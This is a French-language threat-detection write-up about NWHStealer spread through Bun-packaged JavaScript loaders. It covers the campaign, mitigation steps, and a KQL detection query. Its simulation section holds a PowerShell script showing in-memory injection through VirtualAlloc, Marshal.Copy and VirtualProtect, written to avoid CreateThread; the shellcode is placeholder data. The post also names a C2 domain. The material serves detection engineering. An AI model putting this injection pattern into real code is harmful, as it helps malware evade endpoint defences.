SOC Prime Bias: Moyen

08 May 2026 15:33 UTC

NWHStealer se propage via Bun JavaScript Runtime

Author Photo
SOC Prime Team linkedin icon Suivre
NWHStealer se propage via Bun JavaScript Runtime
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

L’article explique comment les acteurs malveillants utilisent le runtime JavaScript Bun pour distribuer le NWHStealer basé sur Rust. Des archives ZIP malveillantes contiennent un installateur principal qui lance un chargeur JavaScript emballé par Bun ainsi qu’un chargeur secondaire nommé dw.exe. Le composant JavaScript effectue des vérifications anti-machine virtuelle, se connecte à l’infrastructure de commande et de contrôle, décrypte une charge utile suivante et utilise les API natives de Windows pour injecter le stealer en mémoire. Pour réduire la suspicion, la campagne dissimule des fichiers malveillants derrière des plateformes d’hébergement légitimes telles que GitHub, MediaFire et SourceForge.

Enquête

Les chercheurs ont découvert que Bun était utilisé pour empaqueter le JavaScript malveillant à l’intérieur de la section .bun du chargeur. Deux scripts, sysreq.js and memload.js, se chargeaient des vérifications de l’environnement et de la communication avec l’infrastructure de l’attaquant. Le chargeur récupérait des données de configuration et des charges utiles chiffrées à partir de domaines tels que silent-harvester.cc, les décryptait avec AES-256-CBC et les injectait via des appels d’API Win32. La charge utile finale était NWHStealer, qui vole des identifiants, des données de navigateur et des informations de portefeuille de cryptocurrency, et peut également lancer une activité de minage supplémentaire.

Atténuation

Les utilisateurs devraient éviter de télécharger des exécutables à partir de sites web non fiables et devraient vérifier les signatures des installateurs avant l’exécution. Les équipes de sécurité devraient surveiller toute activité inhabituelle du runtime Bun, les requêtes PowerShell CIM utilisées pour les vérifications de virtualisation et les appels d’API suspects tels que VirtualAlloc and LoadLibraryA. Les organisations devraient également bloquer les domaines malveillants connus et appliquer des politiques d’exécution de moindre privilège pour limiter les abus.

Réponse

Si cette activité est détectée, isolez l’endpoint affecté, collectez les images mémoire et disque, et recherchez Installer.exe, dw.exe, et des sections suspectes .bun . Bloquez les domaines et URL de commande et de contrôle identifiés au périmètre du réseau. Déployez des détections d’endpoint pour les commandes PowerShell observées et les modèles d’API Win32. Faites tourner les identifiants exposés et surveillez les systèmes affectés pour déceler des signes de minage de cryptocurrency non autorisé.

Flux d’Attaque

Exécution de Simulation

Prérequis : Les vérifications de télémétrie et de référence de pré-vol doivent être réussies.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou sans rapport entraîneront un diagnostic erroné.

  • Narrative d’Attaque & Commandes :

    1. Accès Initial : L’attaquant livre un fichier JavaScript malveillant (loader.js) sur le système de la victime et l’exécute à l’aide du bun runtime (bun loader.js).
    2. Routine d’Auto-Injection : Le code JavaScript appelle les API natives Win32 via un aide PowerShell qui utilise Add‑Type pour définir des signatures P/Invoke pour VirtualAlloc, VirtualProtect, et LoadLibraryA.
    3. Allocation de Mémoire : VirtualAlloc réserve une région RWX dimensionnée pour le shellcode intégré.
    4. Injection de Shellcode : Le script PowerShell copie le shellcode décodé base64 dans la mémoire allouée en utilisant Marshal.Copy.
    5. Changement de Permission : VirtualProtect bascule la protection de page à PAGE_EXECUTE_READ.
    6. Exécution de la Charge Utile : LoadLibraryA est invoqué sur une DLL malveillante qui réside uniquement en mémoire (l’en-tête DLL est écrit dans la région allouée, puis l’adresse est passée à LoadLibraryA).
    7. Aucun Nouveau Fil : L’attaquant évite délibérément d’appeler CreateThread; le DllMain de la DLL s’exécute dans le contexte du processus actuel, satisfaisant la clause d’exclusion de la règle.
  • Script de Test de Régression :

    # -------------------------------------------------
    # NWHStealer JavaScript Loader – Démo d'Auto-Injection
    # -------------------------------------------------
    # Ce script imite le comportement du véritable chargeur NWHStealer.
    # Il appelle délibérément VirtualAlloc, VirtualProtect, et LoadLibraryA
    # sans invoquer CreateThread.
    
    # 1. Définir les signatures des API Win32
    $sig = @"
    using System;
    using System.Runtime.InteropServices;
    public class Win32 {
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
        [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
        public static extern IntPtr LoadLibraryA(string lpFileName);
    }
    "@
    Add-Type $sig
    
    # 2. Allouer de la mémoire exécutable (RWX)
    $size = 0x1000
    $MEM_COMMIT = 0x1000
    $PAGE_EXECUTE_READWRITE = 0x40
    $mem = [Win32]::VirtualAlloc([IntPtr]::Zero, $size, $MEM_COMMIT, $PAGE_EXECUTE_READWRITE)
    if ($mem -eq [IntPtr]::Zero) { throw "VirtualAlloc failed" }
    
    # 3. Exemple de shellcode (MessageBox) – encodé en base64 pour lisibilité
    $b64 = "AQAAANAAAABAAEAAAABAAAAAgAAAAEAAABWAAAAAQAAAAIAAAD/////AQAAAAAAAAA="
    $shellcode = [Convert]::FromBase64String($b64)
    
    # 4. Copier le shellcode dans la région allouée
    [System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)
    
    # 5. Changer la protection vers EXECUTE_READ
    $oldProtect = 0
    $PAGE_EXECUTE_READ = 0x20
    $ok = [Win32]::VirtualProtect($mem, $size, $PAGE_EXECUTE_READ, [ref]$oldProtect)
    if (-not $ok) { throw "VirtualProtect failed" }
    
    # 6. Charger la "DLL" en mémoire (ici, nous appelons simplement LoadLibraryA sur kernel32 en tant que substitut)
    # Dans le véritable chargeur, ce serait une DLL personnalisée écrite dans $mem.
    $hLib = [Win32]::LoadLibraryA("kernel32.dll")
    if ($hLib -eq [IntPtr]::Zero) { throw "LoadLibraryA failed" }
    
    Write-Host "Étapes d'auto-injection complétées – le processus devrait maintenant être marqué par la règle de détection."
    # -------------------------------------------------
  • Commandes de Nettoyage :

    # Terminer l'instance PowerShell qui a effectué l'injection
    Stop-Process -Id $PID -Force
    
    # (Optionnel) Si une DLL personnalisée a été écrite sur disque pour les tests, supprimez-la
    Remove-Item -Path "$env:TEMPmalicious.dll" -ErrorAction SilentlyContinue

Validation Post-Exécution

  1. Confirmer Génération d’Alerte : Exécutez la requête KQL suivante pour vérifier que la règle a été déclenchée :

     // Règle de détection : VirtualAlloc/VirtualProtect/LoadLibraryA sans CreateThread
     Sysmon
     | where EventID == 1
     | where CallTrace contains "VirtualAlloc" or CallTrace contains "VirtualProtect" or CallTrace contains "LoadLibraryA"
     | where not(CallTrace contains "CreateThread")
     | project TimeGenerated, Process, CallTrace, EventID
  2. Vérifiez Pas de Faux Positif : Réexécutez la commande bénigne de Notepad et assurez-vous que la requête retourne zéro résultat pour cette exécution.


Fin du Rapport